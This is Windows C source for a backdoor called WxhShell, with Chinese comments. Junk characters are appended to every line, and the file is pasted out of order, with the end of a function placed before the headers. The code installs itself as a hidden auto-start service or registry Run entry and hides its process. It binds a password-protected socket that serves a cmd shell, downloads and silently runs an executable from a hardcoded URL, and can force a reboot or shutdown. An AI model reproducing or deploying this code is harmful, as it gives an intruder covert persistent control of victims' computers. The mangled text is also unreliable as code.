    if(Boot(SHUTDOWN)) 4 `j,&=  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); nZ"{y  
    else { 8}Fw%;Cb  
    closesocket(wsh); ^- u[q- !  
    ExitThread(0); `\Uc4lRS  
    } c(QG4.)m  
    break; ' #;,oX~5  
    } A9NOeE  
  // 获取shell "bv,I-\  
  case 's': { iK$Vd+Lgc  
    CmdShell(wsh); ORUWsl Mt  
    closesocket(wsh); a7ub.9>  
    ExitThread(0); )6O\WB|  
    break; yBpW#1=  
  } 67Af} >Q  
  // 退出 2U-#0,ll]  
  case 'x': { e[d7UV[Knn  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); K,`).YK  
    CloseIt(wsh); Jnh;;<  
    break; 0"wbcAh)  
    } Co{MIuL  
  // 离开 z&>9 s)^-  
  case 'q': { '6Pu[^x  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); $Uv<LVd(  
    closesocket(wsh); TFiuz; *|  
    WSACleanup(); [ZL r:2+z  
    exit(1); |r)>bY7  
    break; N"q+UCRC  
        } EOd.Tyb!/  
  } Pj1K  
  } y]~+`9  
YoSo0fQA  
  // 提示信息 &vJ(P!2f<  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); {kRDegby  
} MA/"UV&M(  
  } |p=.Gg=2  
tF;& x g  
  return; q>(I*=7  
} .yFg$|yG  
Mo/2,DiI5  
// shell模块句柄 (> +k3  
int CmdShell(SOCKET sock) x3Dg%=R  
{ M'>D[5;N~  
STARTUPINFO si; -Fok %iQ'5  
ZeroMemory(&si,sizeof(si)); Up!ZCZ$RC  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; C-:SQf  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; alb+R$s  
PROCESS_INFORMATION ProcessInfo; 1"4nmw}  
char cmdline[]="cmd"; <g/(wSl  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); xi1N? pP  
  return 0; sBuq  
} ^NnU gj  
r:8]\RU  
// 自身启动模式 *k@0:a(>  
int StartFromService(void) D<D k1  
{ X,JWLS J  
typedef struct E^EU+})Ujr  
{ }G,SqpcG  
  DWORD ExitStatus; wCC~tuTpr  
  DWORD PebBaseAddress; !rsqr32]  
  DWORD AffinityMask; /F8\%l+  
  DWORD BasePriority; }Nd`;d  
  ULONG UniqueProcessId; S\{^LVXTMd  
  ULONG InheritedFromUniqueProcessId; G|6|;   
}   PROCESS_BASIC_INFORMATION; asmW W8lz  
:zn ?<(sQ  
PROCNTQSIP NtQueryInformationProcess; 8NF;k5   
WT ~dA95  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; mb*h73{{  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; `S/1U87  
qY~$wVY(  
  HANDLE             hProcess; c^[1]'y  
  PROCESS_BASIC_INFORMATION pbi; \Zz= 4 j  
s ?Qb{  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); HBga'xJ  
  if(NULL == hInst ) return 0; zQ6 -2 A  
,C'w(af@}  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); GZhfA ;O,  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); I ;11j  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); d`],l\o C  
Cp~3Jm3  
  if (!NtQueryInformationProcess) return 0; GT\s!D;<  
#u2&8-Gh  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); PHiX:0zT  
  if(!hProcess) return 0; U0bE B  
U37?P7i's  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; l^eNZ3:H  
6q uWO2x  
  CloseHandle(hProcess); t1{%FJ0F  
|`t!aG8  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); I9G*iu=U   
if(hProcess==NULL) return 0; >~wk  
J0*]6oD!  
HMODULE hMod; &_^*rD~  
char procName[255]; gc8PA_bFz  
unsigned long cbNeeded; =!P?/  
F+y`4>x  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); T# _n-b>  
VU0tyj$  
  CloseHandle(hProcess); aaD$'Y,<>B  
=UKR<@QrK  
if(strstr(procName,"services")) return 1; // 以服务启动 rs<&x(=Hv  
.8PO7#  
  return 0; // 注册表启动 s$\8)V52  
} ${?exnb$  
1 GHgwT  
// 主模块 .s*EV!SE  
int StartWxhshell(LPSTR lpCmdLine) W*DIW;8p  
{ <VxpMF  
  SOCKET wsl; kRXg."b(  
BOOL val=TRUE; ]GR q  
  int port=0; 68GGS`&  
  struct sockaddr_in door; %iS]+Sa.K  
irw 7  
  if(wscfg.ws_autoins) Install(); ]j$p_s>  
;I))gY-n  
port=atoi(lpCmdLine); eF;1l<<   
`FB?cPR  
if(port<=0) port=wscfg.ws_port; yz$1qEII`q  
<J }9.k  
  WSADATA data; /\$|D&e  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; z*~ PYAt  
zUtf&Ih  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   1@z@  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 6')SJ*|yS  
  door.sin_family = AF_INET; sr@XumT  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); V >uW|6  
  door.sin_port = htons(port); q[+: t   
-LK(C`gB  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ts\>_/  
closesocket(wsl); la{uJ9Iw@}  
return 1; YJvT p~  
} s i.a]k/f  
1nTaKK q  
  if(listen(wsl,2) == INVALID_SOCKET) { 2|>wY%  
closesocket(wsl); m1o65FsY08  
return 1; 8[`<u[Iv  
} JU \J  
  Wxhshell(wsl); +pViHOJu&V  
  WSACleanup(); (C|V-}/*m  
|Pl{Oo+  
return 0; xWb?i6)z&  
il%tu<E#J~  
} :p)9Heu  
Xt*%"7yTp  
// 以NT服务方式启动 9,>Y  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) JP@m%Yj  
{ &:f'{>3z  
DWORD   status = 0; f_2^PF>?  
  DWORD   specificError = 0xfffffff; c O>:n  
= d.W'q|  
  serviceStatus.dwServiceType     = SERVICE_WIN32; }gRLW2&mR>  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 8B+^vF   
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 7:E#c"S q  
  serviceStatus.dwWin32ExitCode     = 0; L\CM);y  
  serviceStatus.dwServiceSpecificExitCode = 0; @@mW+16  
  serviceStatus.dwCheckPoint       = 0; -+@~*$ d  
  serviceStatus.dwWaitHint       = 0; (`/i1#nR  
Jd6Q9~z#  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); >Mw =}g@P  
  if (hServiceStatusHandle==0) return; \J&#C(pn  
NfN6KDd]2L  
status = GetLastError(); >Nl~"J|]q  
  if (status!=NO_ERROR) &n kGdHX/a  
{ h,?Yw+#o"  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; IVODR  
    serviceStatus.dwCheckPoint       = 0; C)}LV  
    serviceStatus.dwWaitHint       = 0; >.~k?_Of  
    serviceStatus.dwWin32ExitCode     = status; J uKaRR~  
    serviceStatus.dwServiceSpecificExitCode = specificError; a3IB, dr5P  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); [N+ruc?)  
    return; , )3+hnFY  
  } cty#@?"e  
RW8u0 ?b  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; )WJI=jl  
  serviceStatus.dwCheckPoint       = 0; }kefrT  
  serviceStatus.dwWaitHint       = 0; wk/U"@lq  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); UpBYL?+L  
} O4mWsr  
K%_JQ0`  
// 处理NT服务事件,比如:启动、停止 ?IO/zkeXg  
VOID WINAPI NTServiceHandler(DWORD fdwControl) IWnW(>V  
{ ,W;8!n0  
switch(fdwControl) D)6||z}  
{ ]HT>-Ba;{h  
case SERVICE_CONTROL_STOP: )+R3C%  
  serviceStatus.dwWin32ExitCode = 0; [/]3:|  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; L6qA=b~iz  
  serviceStatus.dwCheckPoint   = 0; zxHfQ(  
  serviceStatus.dwWaitHint     = 0;  /t P  
  { 2b1:Tt9  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ^S$w,  
  } ?id^v 7d  
  return; EJY:C9W  
case SERVICE_CONTROL_PAUSE: uS.a9 Q(  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ga%77t|jm3  
  break; 4}j}8y2)H  
case SERVICE_CONTROL_CONTINUE: ).b+S>k  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; NYRNop( N#  
  break; -7Wmq[L /  
case SERVICE_CONTROL_INTERROGATE: a)b@en;v  
  break; '-{jn+,  
}; > xw+2<  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 6Wp:W1E{`  
} EQ-~e   
G9Ezm*I;:  
// 标准应用程序主函数 ${3OQG  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ><^@1z.J  
{ &2^V<(19  
E>v~B;@  
// 获取操作系统版本 X_2I4Jz]6  
OsIsNt=GetOsVer(); ) 'KHUa9  
GetModuleFileName(NULL,ExeFile,MAX_PATH); h#9)M  
K`3cH6"L6  
  // 从命令行安装 )vzT\dQ|  
  if(strpbrk(lpCmdLine,"iI")) Install(); '@bA_F(  
Oylw,*%  
  // 下载执行文件 8%B @[YDe  
if(wscfg.ws_downexe) { 0Jrk(k!  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) L3\{{QOA  
  WinExec(wscfg.ws_filenam,SW_HIDE); L2%P  
} 5`Z#m:+u  
7[\B{N9&W  
if(!OsIsNt) { `)fGw7J {  
// 如果时win9x,隐藏进程并且设置为注册表启动 wVTo7o%U  
HideProc(); nq;)!Wry  
StartWxhshell(lpCmdLine); Fk:(% ci  
}  + h&V;  
else %;S5_K,  
  if(StartFromService()) LWE !+(n  
  // 以服务方式启动 EUgs2Fsb3  
  StartServiceCtrlDispatcher(DispatchTable); ADDpm-]  
else V RL6F2 >6  
  // 普通方式启动 $- L)>"  
  StartWxhshell(lpCmdLine); ,MJZ*"V/3  
QX4I+x~oo\  
return 0; 6pse @x?  
} V SxLBwXf  
JkmL'Zk>:  
RK0IkRXQd  
~zx-'sc?  
=========================================== d=pq+  
 O-k(5Zb  
a Sj$62G"  
MX34qJ9k  
nC w1H kW  
dNR4h  
" 1JM~Ls%Z  
Yr!3mU-Uvt  
#include <stdio.h> Jad'8}0J  
#include <string.h> "o1/gV  
#include <windows.h> f%af.cR*  
#include <winsock2.h> x>Kem$z  
#include <winsvc.h> 6Yklaq5  
#include <urlmon.h> I;7VX5X  
k$zDofdfp  
#pragma comment (lib, "Ws2_32.lib") )wC>Hq[mhW  
#pragma comment (lib, "urlmon.lib") ~7*HZ:.  
,J[sg7v cv  
#define MAX_USER   100 // 最大客户端连接数 Wrlmo'31  
#define BUF_SOCK   200 // sock buffer 607#d):Y  
#define KEY_BUFF   255 // 输入 buffer e2;"> tp6?  
vi'K|[!?  
#define REBOOT     0   // 重启 5d)G30  
#define SHUTDOWN   1   // 关机 kn! J`"b  
=I?p(MqW  
#define DEF_PORT   5000 // 监听端口 :ZUy(8%Wl  
V!oyC$eV  
#define REG_LEN     16   // 注册表键长度 ukN#>e+L1  
#define SVC_LEN     80   // NT服务名长度 \"5\hX~dS  
E\ QSU88^  
// 从dll定义API } nQHP4'  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); _PuMZjGL  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); i'a M#4V  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); )%Y$F LB  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Y.-i;Mmu  
7JujU.&{6  
// wxhshell配置信息 !a0HF p$9  
struct WSCFG { A/'G.H  
  int ws_port;         // 监听端口 nkpQM$FW  
  char ws_passstr[REG_LEN]; // 口令 2WKA] l;  
  int ws_autoins;       // 安装标记, 1=yes 0=no L)Kn8  
  char ws_regname[REG_LEN]; // 注册表键名 /GEqU^ B  
  char ws_svcname[REG_LEN]; // 服务名 xa K:@/  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 h.DQ6!?;s  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 l9n 8v\8,o  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 `P'{HT  
int ws_downexe;       // 下载执行标记, 1=yes 0=no m'%F,c)  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" -2f0CAh~  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 4p F%G  
D@mDhhK_  
}; @#sQ7eMoy  
q+SDJ?v  
// default Wxhshell configuration KBXdr52"  
struct WSCFG wscfg={DEF_PORT, vq x;FAqZ  
    "xuhuanlingzhe", ym-212wl  
    1, :V`q;g  
    "Wxhshell", i<-#yL5  
    "Wxhshell", Dtn|$g,  
            "WxhShell Service", !DLIIKO78  
    "Wrsky Windows CmdShell Service", W(EU*~<UC  
    "Please Input Your Password: ", a "8/y4Y  
  1, #*?a"  
  "http://www.wrsky.com/wxhshell.exe", yBeSvsm  
  "Wxhshell.exe" T?Gi;ld7  
    }; <TDgv%eg0  
+i{&"o4}  
// 消息定义模块 KWM.b"WnXr  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; b>G!K)MS3  
char *msg_ws_prompt="\n\r? for help\n\r#>"; aMT&}3  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ZcIwyh(`  
char *msg_ws_ext="\n\rExit."; b5KX`r  
char *msg_ws_end="\n\rQuit."; _bFX(~37z?  
char *msg_ws_boot="\n\rReboot...";  _8t{4C  
char *msg_ws_poff="\n\rShutdown..."; H!HkXm"  
char *msg_ws_down="\n\rSave to "; RKRk,jRL  
E}yl@8g:#  
char *msg_ws_err="\n\rErr!"; PJO +@+"{@  
char *msg_ws_ok="\n\rOK!"; pZF`+6 42  
.DIHd/wA  
char ExeFile[MAX_PATH]; t4 $cMf  
int nUser = 0; u:<%!?  
HANDLE handles[MAX_USER]; >|mmJ4T  
int OsIsNt; 8q}`4wCD$  
L/#^&*'B  
SERVICE_STATUS       serviceStatus; Ig*!0(v5$  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; HSq&'V  
nQb{/ TqC'  
// 函数声明 NgQ {'H[Y  
int Install(void); sYgpK92  
int Uninstall(void); }D{y u+)  
int DownloadFile(char *sURL, SOCKET wsh); 67%o83\  
int Boot(int flag); T^%$  
void HideProc(void); szGp<xv_p  
int GetOsVer(void); ut fD$8UI  
int Wxhshell(SOCKET wsl); c2-NXSjsW  
void TalkWithClient(void *cs); |?i-y3N  
int CmdShell(SOCKET sock); >ouHR*  
int StartFromService(void); I~gU3(  
int StartWxhshell(LPSTR lpCmdLine); vrLI`3n]  
H<Ed"-n$I<  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); xOp8[6Ga'  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ;gP@d`s  
DgGGrV`  
// 数据结构和表定义 VMe~aUd  
SERVICE_TABLE_ENTRY DispatchTable[] = wspZ Eu>C;  
{ cL?FloPc*  
{wscfg.ws_svcname, NTServiceMain}, DfXXN  
{NULL, NULL} 2aNCcZw0  
}; vdyLwBz:  
#"jEc*&=  
// 自我安装 ]*'V#;s  
int Install(void) KD11<&4_x  
{ k}(C.`.  
  char svExeFile[MAX_PATH]; TGlIt<&  
  HKEY key; 3){ /u$iH.  
  strcpy(svExeFile,ExeFile); -U`]/  
{R5Q{]dK3  
// 如果是win9x系统,修改注册表设为自启动 KU|dw^Yk  
if(!OsIsNt) { pdUrVmW"'  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { WPPz/c|j  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); _3i.o$GO  
  RegCloseKey(key); tF}Vs}  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { c*sK| U7)  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); RP?UKOc  
  RegCloseKey(key); {9S=:  
  return 0; Vv8e"S  
    } 38ChS.(  
  } Ztu _UlGC  
} # xx{}g]%  
else { (,z0V+ !  
J5b>mTvb  
// 如果是NT以上系统,安装为系统服务 I<PKwT/?  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ;-Fr^|do y  
if (schSCManager!=0) }D02*s  
{ ,<!_MNw[  
  SC_HANDLE schService = CreateService f mXU)  
  ( c'ExZ)RJ  
  schSCManager, Y??8P  
  wscfg.ws_svcname, " lar~  
  wscfg.ws_svcdisp, G9"2h \  
  SERVICE_ALL_ACCESS, zX *+J"x  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , NZ`Mq  
  SERVICE_AUTO_START, /G[; kR"  
  SERVICE_ERROR_NORMAL, Pp.qDkT  
  svExeFile, 8#b>4 Dx  
  NULL, }g6:9%ZMu  
  NULL, |O =Fz3)  
  NULL, EA_6L\+8&  
  NULL, *E lR  
  NULL U,q ]  
  ); s2s}5b3  
  if (schService!=0) KFd !wZ @e  
  { ,-,BtfE3  
  CloseServiceHandle(schService); )Nv$ SH  
  CloseServiceHandle(schSCManager); rBG8.E36J  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); )xtDiDB  
  strcat(svExeFile,wscfg.ws_svcname); (9R;a np  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { svki=GD_(.  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ^D` ARH  
  RegCloseKey(key); ,2hZtJ<A  
  return 0; ma9VI5w  
    } U)mg]o-VE  
  } B]jI^( P  
  CloseServiceHandle(schSCManager); KFxy,Z$-4  
} P5{|U"Y_  
} tu(k"'aJ  
-UgD  
return 1; z=q   
} )<W6cDx'H+  
PP{2{  
// 自我卸载 T^'NC8v  
int Uninstall(void) ?Uz7($}  
{ 6uWzv~!*D  
  HKEY key; w783e  
JUBihw4  
if(!OsIsNt) { '&~A  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { p_z_d6?  
  RegDeleteValue(key,wscfg.ws_regname); -4:L[.2  
  RegCloseKey(key); !L5[s  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {  &gIDcZ  
  RegDeleteValue(key,wscfg.ws_regname); )dFTH?Mpo  
  RegCloseKey(key); _Se~bkw?v  
  return 0; 8!e1T,:b  
  } RJMrSz$  
} h9Zf4@w  
} B5%N@g$`j  
else { j\t"4=,n  
NNUm=g^  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); dL9QYIfP  
if (schSCManager!=0) 4BSSJ@z  
{ DkO>?n:-C  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); q#W7.8 Z@  
  if (schService!=0) |Tz/9t  
  { ?kvc`7>  
  if(DeleteService(schService)!=0) {  imE5 $;  
  CloseServiceHandle(schService); lqC a%V  
  CloseServiceHandle(schSCManager); -QaS/WO_  
  return 0; cpV:y  
  } <fY<.X  
  CloseServiceHandle(schService); R!7emc0T  
  } ^FLuhLS\*  
  CloseServiceHandle(schSCManager); (0%0+vY  
} mUi|vq)`=D  
} M5OH-'  
l\l\T<wa,  
return 1; ~5aq.hF1,A  
} Jt4T)c9  
7S<Z&1(  
// 从指定url下载文件 ],%}}UN  
int DownloadFile(char *sURL, SOCKET wsh) +M9=KVr  
{ p-U'5<n  
  HRESULT hr; Q$iGpTL  
char seps[]= "/"; }-{l(8-  
char *token; dy u brIG  
char *file; l'N>9~f  
char myURL[MAX_PATH]; S\<]|tM:x  
char myFILE[MAX_PATH]; \$J!B&i  
u[2R>=  
strcpy(myURL,sURL); {yVi/*;f^  
  token=strtok(myURL,seps); {LJCY<IGq  
  while(token!=NULL) #D//oL"u]  
  { pS%,wjb&P  
    file=token; r(vk2Qy  
  token=strtok(NULL,seps); @ n;WVG  
  } XfbkK )d  
shn`>=0.&  
GetCurrentDirectory(MAX_PATH,myFILE); Y/Y746I  
strcat(myFILE, "\\"); o/)\Q>IY  
strcat(myFILE, file); G=Ka{J  
  send(wsh,myFILE,strlen(myFILE),0); 1ygu>sKS&A  
send(wsh,"...",3,0); 3L>V-RPiM  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); F w{8MQ2  
  if(hr==S_OK) Pn7oQA\  
return 0; X[;4.imE  
else @gX@mT"  
return 1; ~sSB.g  
(2qo9j"j/Y  
} Kq!n `@  
e1&c_"TOih  
// 系统电源模块 [U3z*m>e;  
int Boot(int flag) fXL>L   
{  2 H^9Qd  
  HANDLE hToken; :^iR&`2~  
  TOKEN_PRIVILEGES tkp; 9MM4C  
8a?V h^  
  if(OsIsNt) { U?|s/U  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); A ;kAAM  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 5&94VQ$d  
    tkp.PrivilegeCount = 1; k, v.U8  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; :l9C7o  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); RNvtgZ}k{X  
if(flag==REBOOT) { $/wr?  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) )SDGj;j+  
  return 0; TvdmgVNP  
} 9@vY(k k  
else { SZwfYY!ft0  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ',1rW  
  return 0; o~GhV4vq  
} V l9\&EL  
  } b$gDFNa  
  else { )UJ]IB-Q|1  
if(flag==REBOOT) { #),QWTl3  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) UJ6WrO5#kB  
  return 0; 'mmyzsQ \6  
} *Li;:b"t  
else { <,cDEN7  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) `pcjOM8u  
  return 0; R`$Odplh>  
} q`qbaX\J3  
} G `TO[p]q  
.Z9Bbab:  
return 1;  Q L  
} Pq !\6s@  
9'T nR[>  
// win9x进程隐藏模块 $1/yc#w u  
void HideProc(void) joYj`K  
{ 0(HUy`]>  
'BtvT[KM  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); lP0'Zg(  
  if ( hKernel != NULL ) EtKy?]i  
  { Wc#4%kT  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); N9idk}T  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); s}X2*o`,  
    FreeLibrary(hKernel); @ 2Z{en?  
  } REc69Y.k  
#8rLB(  
return; -=@d2LY  
} HZ )z^K?1  
O_*%_S}F&  
// 获取操作系统版本 c7,p5[  
int GetOsVer(void) RMDzPda.  
{ UM3}7|  
  OSVERSIONINFO winfo; lE'2\kxI?  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ]]V|[g&aJ  
  GetVersionEx(&winfo); ^e1@o\]  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) RG0kOw0  
  return 1; \0). ODA(  
  else kq8.SvIb  
  return 0; Uyj6Ij_Pj)  
} BF b<"!Y  
wQEsq<  
// 客户端句柄模块 =+DfIO  
int Wxhshell(SOCKET wsl) 2Jo|]>nl}u  
{ 9sJ=Nldq  
  SOCKET wsh; x+EkL3{  
  struct sockaddr_in client; e#!%:M;4P  
  DWORD myID; C.].HQ  
Gh>&+UA'$1  
  while(nUser<MAX_USER) J2adG+=  
{ ]l>LU2 sx  
  int nSize=sizeof(client); 1-0tG+  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); f$ 9O0,}%O  
  if(wsh==INVALID_SOCKET) return 1; x{4{.s%+:  
/#jH #f[  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); \Kr8k`f  
if(handles[nUser]==0) 2. '` mGu  
  closesocket(wsh); & 6'Rc#\P  
else 2[j(C  
  nUser++; z36wWdRa6  
  } t xE=AOY5  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 7zM9K+3L  
G?kK:eV  
  return 0; ysapvQN_6  
} h4Wt oE>i  
Yw] 7@  
// 关闭 socket b:Z&;A|"{  
void CloseIt(SOCKET wsh) ZtyDip'x  
{ &S,_Z/BS;  
closesocket(wsh); [?%q,>F  
nUser--; HS[($  
ExitThread(0); :of(wZa3Q  
} DA1?M'N  
sSd/\Ap  
// 客户端请求句柄 .G.WPVE  
void TalkWithClient(void *cs) <d @9[]  
{ F~q(@.b  
SQ_Je+X  
  SOCKET wsh=(SOCKET)cs; =Ox}WrU~  
  char pwd[SVC_LEN]; AbxhNNK  
  char cmd[KEY_BUFF]; z/u^  
char chr[1]; !_vxbfZO  
int i,j;  0:f]&Ng  
[Ur\^wS  
  while (nUser < MAX_USER) { R&9FdM3K`:  
,DZvBS  
if(wscfg.ws_passstr) { S=(<m%f  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 3 P9ux  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); t;BUZE_!0c  
  //ZeroMemory(pwd,KEY_BUFF); d2V X\  
      i=0; O&1qL)  
  while(i<SVC_LEN) { s bj/d~$N  
E7t;p)x  
  // 设置超时 i|J%jA  
  fd_set FdRead; ;xZjt4M1  
  struct timeval TimeOut; oQ 2$z8  
  FD_ZERO(&FdRead); ;eN ^'/4A  
  FD_SET(wsh,&FdRead); 6|zhqb|s  
  TimeOut.tv_sec=8; &E_a0*)e  
  TimeOut.tv_usec=0; #,%7tXOLR  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 1h&`mqY)L.  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); |@vkQ  
_p^ "l2%D/  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Zge(UhZ  
  pwd=chr[0]; <.Ws; HN}  
  if(chr[0]==0xd || chr[0]==0xa) { hbJ>GSoZ,  
  pwd=0; ]1|P|Jp  
  break; GC{M"q|_  
  } X` zWw_i  
  i++; g1s%x=7/  
    } BDT L5N  
G3~`]qf  
  // 如果是非法用户,关闭 socket D5TDg\E  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); r 3W3;L   
} :OG I|[  
{'5"i?>s0>  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); {~3QBMx6  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); -QrC>3xZR  
|_V(^b}  
while(1) { k, HC"?K  
FJ:^pROpm  
  ZeroMemory(cmd,KEY_BUFF); DN*5q9.  
cCe~Ol XQ  
      // 自动支持客户端 telnet标准   Ao\xse{E  
  j=0; uM-,}7f7  
  while(j<KEY_BUFF) { j3gDGw;  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); SIe!=F[  
  cmd[j]=chr[0]; qCV<-o  
  if(chr[0]==0xa || chr[0]==0xd) { ,`@pi@<"#  
  cmd[j]=0; *doNPp)m  
  break; M|WBJ'#x0  
  } o*S_"  
  j++; rtV`Q[E  
    } !%iHJwS#  
8xAV[i  
  // 下载文件 <+`%=r)4  
  if(strstr(cmd,"http://")) { Qp>leEs]+6  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 9)Fx;GxL  
  if(DownloadFile(cmd,wsh)) C=: <[_m`  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); mdj%zJ8/  
  else b/wpk~qi  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); XKoY!Y\  
  } L, JQ\!c  
  else { H_+n_r*  
al2t\Iq90  
